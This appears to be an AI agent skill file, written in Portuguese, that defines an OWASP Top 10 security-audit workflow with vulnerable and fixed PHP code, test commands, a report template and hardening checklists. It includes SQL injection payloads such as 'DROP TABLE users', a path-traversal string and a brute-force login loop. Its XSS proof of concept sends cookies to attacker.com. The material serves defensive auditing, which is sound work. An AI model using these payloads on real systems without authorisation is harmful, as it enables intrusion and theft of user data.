New plugins: core-tools New skills: auto-expense, ticket-triage, design, security-check, aiktop-tasks, daily-digest, imap-triage, index-update, mindmap, notebooklm, proc-creator, tasks-overview, validate-component, perfex-module, report, calendar-manager New agents: design-critic, design-generator, design-lead, design-prompt-architect, design-researcher, compliance-auditor, metabase-analyst, gitea-integration-specialist Updated: all plugin configs, knowledge datasets, existing skills Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
803 lines
18 KiB
Markdown
803 lines
18 KiB
Markdown
---
|
|
name: security-audit
|
|
description: Security audit for web applications and servers. Identifies vulnerabilities,
|
|
misconfigurations, and provides hardening recommendations. Use when user mentions
|
|
"security audit", "auditoria segurança", "vulnerabilities", "security scan", "penetration
|
|
test".
|
|
author: Descomplicar® Crescimento Digital
|
|
version: 2.0.0
|
|
quality_score: 75
|
|
user_invocable: true
|
|
desk_task: 1480
|
|
allowed-tools: Glob
|
|
---
|
|
|
|
# /security-audit - Security Compliance Specialist
|
|
|
|
Auditoria de segurança seguindo padrões OWASP Top 10, GDPR e best practices Descomplicar®.
|
|
|
|
---
|
|
|
|
## Quando Usar
|
|
|
|
- Auditar código para vulnerabilidades
|
|
- Verificar configurações de segurança servidor
|
|
- Avaliar compliance GDPR/ISO
|
|
- Security review de aplicações
|
|
- Análise de logs de segurança
|
|
- Pentest básico (ethical hacking)
|
|
- Hardening de servidor/aplicação
|
|
|
|
---
|
|
|
|
## Protocolo Obrigatório
|
|
|
|
### 1. Pesquisa Inicial (SEMPRE)
|
|
|
|
```javascript
|
|
// Antes de qualquer audit, consultar histórico
|
|
await mcp__memory-supabase__search_memories({
|
|
query: "security vulnerabilidade [sistema/projecto]",
|
|
limit: 5
|
|
});
|
|
|
|
await mcp__wikijs__search_pages({
|
|
query: "security policy compliance"
|
|
});
|
|
```
|
|
|
|
### 2. Verificar Contexto
|
|
|
|
- [ ] Vulnerabilidades anteriores no sistema
|
|
- [ ] Incidentes de segurança passados
|
|
- [ ] Políticas de segurança existentes
|
|
- [ ] Compliance requirements (GDPR, ISO, etc.)
|
|
- [ ] Stack tecnológico e versões
|
|
|
|
---
|
|
|
|
## OWASP Top 10 (Checklist Obrigatória)
|
|
|
|
### A01 - Broken Access Control
|
|
|
|
**Verificações:**
|
|
```php
|
|
// ❌ VULNERÁVEL
|
|
if ($_GET['user_id']) {
|
|
$user = getUserById($_GET['user_id']); // Sem verificação ownership
|
|
showUserData($user);
|
|
}
|
|
|
|
// ✅ SEGURO
|
|
if ($_GET['user_id']) {
|
|
$user = getUserById($_GET['user_id']);
|
|
if ($user->id !== $currentUser->id && !$currentUser->isAdmin()) {
|
|
die('Unauthorized');
|
|
}
|
|
showUserData($user);
|
|
}
|
|
```
|
|
|
|
**Testes:**
|
|
- [ ] Tentar aceder recurso de outro user (`/user/123` → `/user/124`)
|
|
- [ ] Testar IDOR (Insecure Direct Object Reference)
|
|
- [ ] Verificar se RBAC implementado correctamente
|
|
- [ ] Path traversal (`../../../etc/passwd`)
|
|
- [ ] Forced browsing (aceder `/admin` sem autenticação)
|
|
|
|
### A02 - Cryptographic Failures
|
|
|
|
**Verificações:**
|
|
```php
|
|
// ❌ VULNERÁVEL
|
|
$password = md5($_POST['password']); // MD5 é inseguro
|
|
|
|
// ✅ SEGURO
|
|
$password = password_hash($_POST['password'], PASSWORD_BCRYPT);
|
|
```
|
|
|
|
**Checklist:**
|
|
- [ ] Passwords com bcrypt/argon2 (não MD5/SHA1)
|
|
- [ ] Dados sensíveis encriptados em BD
|
|
- [ ] HTTPS em produção (não HTTP)
|
|
- [ ] Cookies com flags `Secure` e `HttpOnly`
|
|
- [ ] Sem PII em logs
|
|
|
|
**Testes:**
|
|
```bash
|
|
# Verificar HTTPS
|
|
curl -I https://site.com | grep -i "strict-transport-security"
|
|
|
|
# Verificar cookies
|
|
curl -I https://site.com | grep -i "set-cookie"
|
|
# Deve ter: Secure; HttpOnly; SameSite=Strict
|
|
```
|
|
|
|
### A03 - Injection (SQL, Command, LDAP)
|
|
|
|
**Verificações SQL Injection:**
|
|
```php
|
|
// ❌ VULNERÁVEL
|
|
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
|
|
|
|
// ✅ SEGURO (Prepared Statements)
|
|
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
|
|
$stmt->execute([$_GET['id']]);
|
|
```
|
|
|
|
**Testes:**
|
|
```sql
|
|
-- Payloads comuns
|
|
' OR '1'='1
|
|
'; DROP TABLE users; --
|
|
' UNION SELECT NULL, NULL, NULL--
|
|
```
|
|
|
|
**Command Injection:**
|
|
```php
|
|
// ❌ VULNERÁVEL
|
|
system("ping " . $_GET['host']);
|
|
|
|
// ✅ SEGURO
|
|
$host = escapeshellarg($_GET['host']);
|
|
system("ping $host");
|
|
```
|
|
|
|
**Checklist:**
|
|
- [ ] Prepared statements em todas as queries
|
|
- [ ] Input sanitizado antes de shell commands
|
|
- [ ] NoSQL injection prevenido (MongoDB, etc.)
|
|
- [ ] LDAP injection prevenido
|
|
- [ ] Template injection prevenido (Twig, Smarty)
|
|
|
|
### A04 - Insecure Design
|
|
|
|
**Verificações:**
|
|
- [ ] Rate limiting implementado (login, API)
|
|
- [ ] CAPTCHA em formulários públicos
|
|
- [ ] MFA disponível para contas admin
|
|
- [ ] Session timeout configurado
|
|
- [ ] Password policy forte (min 8 chars, uppercase, etc.)
|
|
|
|
**Testes:**
|
|
```bash
|
|
# Testar rate limiting
|
|
for i in {1..100}; do
|
|
curl -X POST https://site.com/login \
|
|
-d "email=test@test.com&password=wrong" &
|
|
done
|
|
# Deve bloquear após N tentativas
|
|
```
|
|
|
|
### A05 - Security Misconfiguration
|
|
|
|
**Checklist Servidor:**
|
|
```bash
|
|
# Verificar versões expostas
|
|
curl -I https://site.com | grep -i "server:"
|
|
# Não deve revelar Apache/2.4.41 ou PHP/8.1.2
|
|
|
|
# Verificar directory listing
|
|
curl https://site.com/uploads/
|
|
# Não deve listar ficheiros
|
|
|
|
# Verificar ficheiros sensíveis expostos
|
|
curl https://site.com/.env
|
|
curl https://site.com/.git/config
|
|
curl https://site.com/phpinfo.php
|
|
# Todos devem dar 403/404
|
|
```
|
|
|
|
**Headers de Segurança:**
|
|
```bash
|
|
# Verificar headers obrigatórios
|
|
curl -I https://site.com | grep -E "X-Frame-Options|X-Content-Type-Options|Content-Security-Policy|Strict-Transport-Security"
|
|
```
|
|
|
|
**Configuração Correcta:**
|
|
```nginx
|
|
# Nginx - Security Headers
|
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
|
add_header X-Content-Type-Options "nosniff" always;
|
|
add_header X-XSS-Protection "1; mode=block" always;
|
|
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
|
add_header Content-Security-Policy "default-src 'self' https:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always;
|
|
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
|
|
|
# Desactivar server tokens
|
|
server_tokens off;
|
|
```
|
|
|
|
### A06 - Vulnerable and Outdated Components
|
|
|
|
**Verificações:**
|
|
```bash
|
|
# PHP - Composer
|
|
composer audit
|
|
|
|
# Node.js
|
|
npm audit
|
|
|
|
# WordPress
|
|
wp core version
|
|
wp plugin list --format=json | jq '.[] | select(.update=="available")'
|
|
|
|
# Verificar CVEs conhecidos
|
|
curl https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress+plugin+NAME
|
|
```
|
|
|
|
**Checklist:**
|
|
- [ ] Dependências actualizadas (últimos 3 meses)
|
|
- [ ] Sem bibliotecas com vulnerabilidades conhecidas
|
|
- [ ] PHP/Node/Python versão suportada
|
|
- [ ] WordPress core e plugins actualizados
|
|
|
|
### A07 - Identification and Authentication Failures
|
|
|
|
**Verificações:**
|
|
```php
|
|
// ❌ VULNERÁVEL - Session Fixation
|
|
session_start();
|
|
|
|
// ✅ SEGURO
|
|
session_start();
|
|
session_regenerate_id(true); // Regenerar após login
|
|
```
|
|
|
|
**Checklist:**
|
|
- [ ] Session regenerate após login
|
|
- [ ] Logout invalida sessão no servidor
|
|
- [ ] Session timeout (15-30 min)
|
|
- [ ] Password reset com token expirável
|
|
- [ ] Account lockout após N tentativas falhadas
|
|
- [ ] Sem user enum (login não revela se user existe)
|
|
|
|
**Testes:**
|
|
```bash
|
|
# Testar user enumeration
|
|
curl -X POST https://site.com/login \
|
|
-d "email=naoexiste@test.com&password=wrong"
|
|
# Não deve dizer "user não existe"
|
|
|
|
# Testar session fixation
|
|
# 1. Obter PHPSESSID
|
|
# 2. Fazer login
|
|
# 3. Verificar se PHPSESSID mudou (deve mudar)
|
|
```
|
|
|
|
### A08 - Software and Data Integrity Failures
|
|
|
|
**Verificações:**
|
|
```php
|
|
// ❌ VULNERÁVEL - Insecure Deserialization
|
|
$data = unserialize($_GET['data']);
|
|
|
|
// ✅ SEGURO
|
|
$data = json_decode($_GET['data'], true);
|
|
```
|
|
|
|
**Checklist:**
|
|
- [ ] Evitar `unserialize()` de input user
|
|
- [ ] Verificar integridade de updates (signatures)
|
|
- [ ] CI/CD com verificação de dependências
|
|
- [ ] Subresource Integrity (SRI) em CDNs
|
|
|
|
**SRI Example:**
|
|
```html
|
|
<script src="https://cdn.example.com/lib.js"
|
|
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
|
|
crossorigin="anonymous"></script>
|
|
```
|
|
|
|
### A09 - Security Logging and Monitoring Failures
|
|
|
|
**Checklist:**
|
|
- [ ] Login attempts logged (success/fail)
|
|
- [ ] Access to sensitive data logged
|
|
- [ ] Input validation failures logged
|
|
- [ ] Logs não contêm passwords ou PII
|
|
- [ ] Alertas configurados para actividade suspeita
|
|
- [ ] Retenção de logs (mínimo 90 dias)
|
|
|
|
**Logs Essenciais:**
|
|
```bash
|
|
# Nginx access log
|
|
tail -f /var/log/nginx/access.log
|
|
|
|
# PHP error log
|
|
tail -f /var/log/php/error.log
|
|
|
|
# MySQL slow query log
|
|
tail -f /var/log/mysql/slow.log
|
|
|
|
# Fail2ban log
|
|
tail -f /var/log/fail2ban.log
|
|
```
|
|
|
|
**Análise de Logs:**
|
|
```bash
|
|
# Tentativas de SQL injection
|
|
grep -i "union.*select" /var/log/nginx/access.log
|
|
|
|
# Tentativas de path traversal
|
|
grep -E "\.\./|\.\.%2F" /var/log/nginx/access.log
|
|
|
|
# Scans de vulnerabilidades
|
|
grep -E "nikto|nmap|sqlmap" /var/log/nginx/access.log
|
|
|
|
# Tentativas de login falhadas
|
|
grep "Failed password" /var/log/secure
|
|
```
|
|
|
|
### A10 - Server-Side Request Forgery (SSRF)
|
|
|
|
**Verificações:**
|
|
```php
|
|
// ❌ VULNERÁVEL
|
|
$url = $_GET['url'];
|
|
file_get_contents($url); // Pode aceder rede interna
|
|
|
|
// ✅ SEGURO
|
|
$url = $_GET['url'];
|
|
$parsed = parse_url($url);
|
|
if ($parsed['host'] !== 'allowed-domain.com') {
|
|
die('Invalid URL');
|
|
}
|
|
// Whitelist de domínios permitidos
|
|
```
|
|
|
|
**Testes:**
|
|
```bash
|
|
# Tentar aceder localhost
|
|
curl "https://site.com/fetch?url=http://localhost/admin"
|
|
|
|
# Tentar aceder rede interna
|
|
curl "https://site.com/fetch?url=http://192.168.1.1"
|
|
```
|
|
|
|
---
|
|
|
|
## Severidade de Findings
|
|
|
|
```
|
|
🔴 CRÍTICO (Score 9-10)
|
|
Exploração imediata possível, dados em risco
|
|
RCE, SQL Injection, Authentication Bypass
|
|
→ Corrigir IMEDIATAMENTE (<24h)
|
|
|
|
🟠 ALTO (Score 7-8.9)
|
|
Vulnerabilidade significativa
|
|
XSS Stored, CSRF, Insecure Deserialization
|
|
→ Corrigir em 24-48h
|
|
|
|
🟡 MÉDIO (Score 4-6.9)
|
|
Risco moderado
|
|
XSS Reflected, Information Disclosure, Missing Headers
|
|
→ Corrigir em 7 dias
|
|
|
|
🟢 BAIXO (Score 1-3.9)
|
|
Melhoria recomendada
|
|
Weak Password Policy, Verbose Errors, Outdated Libraries
|
|
→ Corrigir em 30 dias
|
|
```
|
|
|
|
**Cálculo CVSS v3:** https://www.first.org/cvss/calculator/3.1
|
|
|
|
---
|
|
|
|
## Template Relatório de Segurança
|
|
|
|
```markdown
|
|
# 🔒 RELATÓRIO DE SEGURANÇA
|
|
|
|
**Sistema:** [Nome do Sistema/Aplicação]
|
|
**Data:** [YYYY-MM-DD]
|
|
**Auditor:** Security Compliance Specialist - Descomplicar®
|
|
**Scope:** [Frontend | Backend | Infra | Full Stack]
|
|
|
|
---
|
|
|
|
## EXECUTIVE SUMMARY
|
|
|
|
[2-3 parágrafos resumindo estado de segurança global]
|
|
|
|
**Score Global:** [X]/100
|
|
**CVSS Médio:** [X.X]
|
|
|
|
**Breakdown:**
|
|
- 🔴 Críticos: [N] findings
|
|
- 🟠 Altos: [N] findings
|
|
- 🟡 Médios: [N] findings
|
|
- 🟢 Baixos: [N] findings
|
|
|
|
---
|
|
|
|
## FINDINGS
|
|
|
|
### 🔴 CRÍTICOS ([N] findings)
|
|
|
|
#### FINDING-001: SQL Injection em Login
|
|
|
|
- **Severidade:** CRÍTICO (CVSS 9.8)
|
|
- **Componente:** `login.php` linha 45
|
|
- **Categoria OWASP:** A03 - Injection
|
|
|
|
**Descrição:**
|
|
Parâmetro `username` não sanitizado, permitindo SQL injection.
|
|
|
|
**Evidência:**
|
|
```php
|
|
// Código vulnerável (login.php:45)
|
|
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
|
|
```
|
|
|
|
**Proof of Concept:**
|
|
```bash
|
|
curl -X POST https://site.com/login \
|
|
-d "username=' OR '1'='1&password=anything"
|
|
# Resultado: acesso sem password
|
|
```
|
|
|
|
**Impacto:**
|
|
- Acesso total à base de dados
|
|
- Bypass de autenticação
|
|
- Exfiltração de dados de clientes
|
|
- Possível RCE via `INTO OUTFILE`
|
|
|
|
**Remediação:**
|
|
```php
|
|
// Usar prepared statements
|
|
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
|
|
$stmt->execute([$_POST['username']]);
|
|
```
|
|
|
|
**Prazo:** IMEDIATO (fix em produção hoje)
|
|
**Status:** 🔴 OPEN
|
|
|
|
---
|
|
|
|
### 🟠 ALTOS ([N] findings)
|
|
|
|
#### FINDING-002: XSS Stored em Comentários
|
|
|
|
- **Severidade:** ALTO (CVSS 7.2)
|
|
- **Componente:** `comments.php`
|
|
- **Categoria OWASP:** A03 - Injection (XSS)
|
|
|
|
**Descrição:**
|
|
Input de comentários não escapa output, permitindo XSS persistente.
|
|
|
|
**Evidência:**
|
|
```html
|
|
<!-- Código vulnerável -->
|
|
<div class="comment">
|
|
<?php echo $comment->text; ?>
|
|
</div>
|
|
```
|
|
|
|
**Proof of Concept:**
|
|
```html
|
|
<script>
|
|
fetch('https://attacker.com/steal?cookie='+document.cookie)
|
|
</script>
|
|
```
|
|
|
|
**Impacto:**
|
|
- Session hijacking
|
|
- Phishing de utilizadores
|
|
- Defacement
|
|
|
|
**Remediação:**
|
|
```php
|
|
// Escapar output
|
|
<div class="comment">
|
|
<?php echo htmlspecialchars($comment->text, ENT_QUOTES, 'UTF-8'); ?>
|
|
</div>
|
|
```
|
|
|
|
**Prazo:** 24-48h
|
|
**Status:** 🟠 OPEN
|
|
|
|
---
|
|
|
|
### 🟡 MÉDIOS ([N] findings)
|
|
|
|
[Mesmo formato]
|
|
|
|
---
|
|
|
|
### 🟢 BAIXOS ([N] findings)
|
|
|
|
[Mesmo formato]
|
|
|
|
---
|
|
|
|
## OWASP TOP 10 COMPLIANCE
|
|
|
|
| # | Categoria | Status | Findings |
|
|
|---|-----------|--------|----------|
|
|
| A01 | Broken Access Control | 🟡 Parcial | 2 médios |
|
|
| A02 | Cryptographic Failures | ✅ OK | 0 |
|
|
| A03 | Injection | 🔴 Falha | 1 crítico, 1 alto |
|
|
| A04 | Insecure Design | 🟡 Parcial | 1 médio |
|
|
| A05 | Security Misconfiguration | 🟠 Atenção | 3 altos |
|
|
| A06 | Vulnerable Components | 🟡 Parcial | 5 baixos |
|
|
| A07 | Auth Failures | ✅ OK | 0 |
|
|
| A08 | Data Integrity | ✅ OK | 0 |
|
|
| A09 | Logging Failures | 🟡 Parcial | 1 médio |
|
|
| A10 | SSRF | ✅ OK | 0 |
|
|
|
|
---
|
|
|
|
## RECOMENDAÇÕES PRIORITIZADAS
|
|
|
|
### 🔴 URGENTE (Hoje)
|
|
1. **FINDING-001:** Corrigir SQL Injection em login.php
|
|
2. **FINDING-XXX:** ...
|
|
|
|
### 🟠 IMPORTANTE (Esta Semana)
|
|
3. **FINDING-002:** Corrigir XSS em comentários
|
|
4. **FINDING-XXX:** ...
|
|
|
|
### 🟡 MELHORIAS (Este Mês)
|
|
5. **FINDING-XXX:** ...
|
|
|
|
---
|
|
|
|
## PLANO DE REMEDIAÇÃO
|
|
|
|
| Finding | Responsável | Prazo | Status |
|
|
|---------|-------------|-------|--------|
|
|
| FINDING-001 | Dev Team | 2026-02-03 | 🔴 OPEN |
|
|
| FINDING-002 | Dev Team | 2026-02-05 | 🟠 OPEN |
|
|
| ... | ... | ... | ... |
|
|
|
|
---
|
|
|
|
## COMPLIANCE GDPR
|
|
|
|
- [ ] ✅ Consentimento explícito capturado
|
|
- [ ] ✅ Direito ao esquecimento implementado
|
|
- [ ] ✅ Portabilidade de dados possível
|
|
- [ ] ⚠️ Retenção de dados definida (parcial)
|
|
- [ ] ✅ Encriptação de dados sensíveis
|
|
- [ ] ✅ Logging de acessos activo
|
|
- [ ] N/A DPO designado (não aplicável)
|
|
- [ ] ⚠️ Privacy policy actualizada (desactualizada)
|
|
|
|
**Score GDPR:** 75/100 (Parcialmente Conforme)
|
|
|
|
---
|
|
|
|
## FERRAMENTAS UTILIZADAS
|
|
|
|
- OWASP ZAP (Automated Scan)
|
|
- Manual Code Review
|
|
- Burp Suite Community
|
|
- SQLMap (SQL Injection)
|
|
- XSStrike (XSS Testing)
|
|
- Nmap (Port Scanning)
|
|
- Nikto (Web Server Scan)
|
|
|
|
---
|
|
|
|
## CONCLUSÃO
|
|
|
|
[Resumo executivo, estado global, próximos passos]
|
|
|
|
---
|
|
|
|
**Confidencial - Descomplicar® Crescimento Digital**
|
|
**Para uso interno e do cliente apenas**
|
|
```
|
|
|
|
---
|
|
|
|
## Checklist GDPR Completo
|
|
|
|
### Consentimento
|
|
- [ ] Opt-in explícito (não pré-seleccionado)
|
|
- [ ] Linguagem clara (não juridiquês)
|
|
- [ ] Granular (aceitar newsletter ≠ aceitar tracking)
|
|
- [ ] Fácil de retirar (mesma facilidade)
|
|
|
|
### Direitos do Titular
|
|
- [ ] Direito ao acesso (exportar dados)
|
|
- [ ] Direito à rectificação (editar dados)
|
|
- [ ] Direito ao esquecimento (delete account)
|
|
- [ ] Direito à portabilidade (formato standard)
|
|
- [ ] Direito à oposição (opt-out processing)
|
|
|
|
### Segurança
|
|
- [ ] Encriptação em trânsito (HTTPS)
|
|
- [ ] Encriptação em repouso (BD sensível)
|
|
- [ ] Passwords com hash forte (bcrypt)
|
|
- [ ] Logs de acesso a dados pessoais
|
|
- [ ] Notificação de breach (<72h)
|
|
|
|
### Documentação
|
|
- [ ] Privacy policy actualizada (última 12 meses)
|
|
- [ ] Cookie policy clara
|
|
- [ ] Terms of service
|
|
- [ ] Data processing agreement (DPA)
|
|
|
|
---
|
|
|
|
## Ferramentas de Análise
|
|
|
|
### Análise Estática (SAST)
|
|
|
|
```bash
|
|
# PHP - PHPStan
|
|
phpstan analyse --level=max src/
|
|
|
|
# PHP - Psalm
|
|
psalm --show-info=true
|
|
|
|
# PHP - Security Checker
|
|
local-php-security-checker
|
|
|
|
# JavaScript - ESLint
|
|
eslint --ext .js,.jsx src/
|
|
|
|
# Python - Bandit
|
|
bandit -r project/
|
|
```
|
|
|
|
### Análise Dinâmica (DAST)
|
|
|
|
```bash
|
|
# OWASP ZAP (headless)
|
|
zap-cli quick-scan -s all https://site.com
|
|
|
|
# Nikto
|
|
nikto -h https://site.com
|
|
|
|
# SQLMap
|
|
sqlmap -u "https://site.com/page?id=1" --batch
|
|
|
|
# Nmap
|
|
nmap -sV -sC site.com
|
|
|
|
# WPScan (WordPress)
|
|
wpscan --url https://site.com --api-token YOUR_TOKEN
|
|
```
|
|
|
|
### Headers HTTP
|
|
|
|
```bash
|
|
# Verificar headers de segurança
|
|
curl -I https://site.com | grep -E "X-|Content-Security|Strict-Transport"
|
|
|
|
# SSL Labs
|
|
curl "https://api.ssllabs.com/api/v3/analyze?host=site.com"
|
|
```
|
|
|
|
---
|
|
|
|
## Hardening Checklist
|
|
|
|
### Sistema Operativo (Linux)
|
|
- [ ] Firewall activo (iptables/firewalld)
|
|
- [ ] SELinux/AppArmor activado
|
|
- [ ] SSH com key-based auth (não password)
|
|
- [ ] SSH não permite root login
|
|
- [ ] Fail2ban instalado e configurado
|
|
- [ ] Automatic security updates
|
|
- [ ] Portas desnecessárias fechadas
|
|
|
|
### Web Server (Nginx/Apache)
|
|
- [ ] Server tokens desactivado
|
|
- [ ] Directory listing desactivado
|
|
- [ ] Security headers configurados
|
|
- [ ] SSL/TLS configurado (A+ SSL Labs)
|
|
- [ ] Apenas TLS 1.2+ (não SSL, TLS 1.0, 1.1)
|
|
- [ ] HTTP/2 activado
|
|
- [ ] Gzip/Brotli compression
|
|
|
|
### PHP
|
|
- [ ] `display_errors = Off` em produção
|
|
- [ ] `expose_php = Off`
|
|
- [ ] `open_basedir` configurado
|
|
- [ ] `disable_functions` configurado
|
|
- [ ] File uploads limitados
|
|
- [ ] Memory limit apropriado
|
|
- [ ] OPcache activado
|
|
|
|
### MySQL
|
|
- [ ] Bind apenas localhost (se possível)
|
|
- [ ] Root sem acesso remoto
|
|
- [ ] Passwords fortes
|
|
- [ ] `skip-name-resolve`
|
|
- [ ] Slow query log activado
|
|
- [ ] Binary logs com retenção definida
|
|
|
|
---
|
|
|
|
## Confidencialidade
|
|
|
|
**CRÍTICO:**
|
|
- **NUNCA** expor credenciais em relatórios
|
|
- **MASCARAR** dados sensíveis (`email: *****@domain.com`)
|
|
- **RESTRINGIR** relatórios a stakeholders autorizados
|
|
- **ELIMINAR** ficheiros temporários após análise
|
|
- **ENCRIPTAR** relatórios se enviados por email
|
|
|
|
---
|
|
|
|
## Datasets Dify (Consulta Obrigatória)
|
|
|
|
Consultar para conhecimento aprofundado ou casos específicos:
|
|
|
|
| Dataset | ID | Uso |
|
|
|---------|----|----|
|
|
| **TI (Tecnologia da Informação)** | `7f63ec0c-6321-488c-b107-980140199850` | Best practices gerais |
|
|
| **Linux** | `bde4eddd-4618-402c-8bfb-bb947ed9219d` | Hardening Linux |
|
|
| **AWS (Amazon Web Services)** | `cc7f000a-ad86-49b6-b59b-179e65f8a229` | Segurança cloud |
|
|
| **CWP Centos Web Panel** | `b2a4d2c5-fe55-412c-bc28-74dbd611905d` | Hardening CWP |
|
|
|
|
**Consultar quando:**
|
|
- Implementar WAF (Web Application Firewall)
|
|
- Configurar SIEM (Security Information and Event Management)
|
|
- Compliance ISO 27001
|
|
- Pentest avançado
|
|
|
|
```javascript
|
|
// Exemplo: pesquisar hardening Nginx
|
|
mcp__notebooklm__notebook_query, mcp__dify-kb__dify_kb_retrieve_segments({
|
|
dataset_id: "7f63ec0c-6321-488c-b107-980140199850",
|
|
query: "nginx hardening security headers ssl tls",
|
|
top_k: 3
|
|
})
|
|
```
|
|
|
|
---
|
|
|
|
## Changelog
|
|
|
|
### v2.0.0 (2026-02-03)
|
|
- **ENHANCED:** Workflows detalhados para OWASP Top 10
|
|
- Template de relatório completo
|
|
- Código exemplo vulnerável vs seguro
|
|
- Payloads de teste (SQL injection, XSS, etc.)
|
|
- Checklist GDPR completo
|
|
- Hardening checklist por componente
|
|
- Ferramentas SAST/DAST documentadas
|
|
- Severidade com CVSS scoring
|
|
- Confidencialidade e handling de dados
|
|
|
|
### v1.0.0 (2026-01-27)
|
|
- Versão inicial
|
|
- OWASP Top 10 básico
|
|
- Checklist GDPR
|
|
- Ferramentas de análise
|
|
|
|
---
|
|
|
|
**Versão:** 2.0.0 | **Autor:** Descomplicar®
|
|
**Última actualização:** 2026-02-03 (OWASP detalhado + Template completo + Hardening)
|
|
|
|
---
|
|
|
|
|
|
## Quando NÃO Usar
|
|
|
|
- Para tarefas fora do domínio de especialização desta skill
|
|
- Quando outra skill mais específica está disponível
|
|
- Para operações que requerem confirmação manual do utilizador
|
|
|
|
|
|
## Exemplos
|
|
|
|
### Exemplo 1: Uso Básico
|
|
```
|
|
Input: [descrição da tarefa]
|
|
Output: [resultado esperado]
|
|
```
|
|
|
|
### Exemplo 2: Uso Avançado
|
|
```
|
|
Input: [caso complexo]
|
|
Output: [resultado detalhado]
|
|
```
|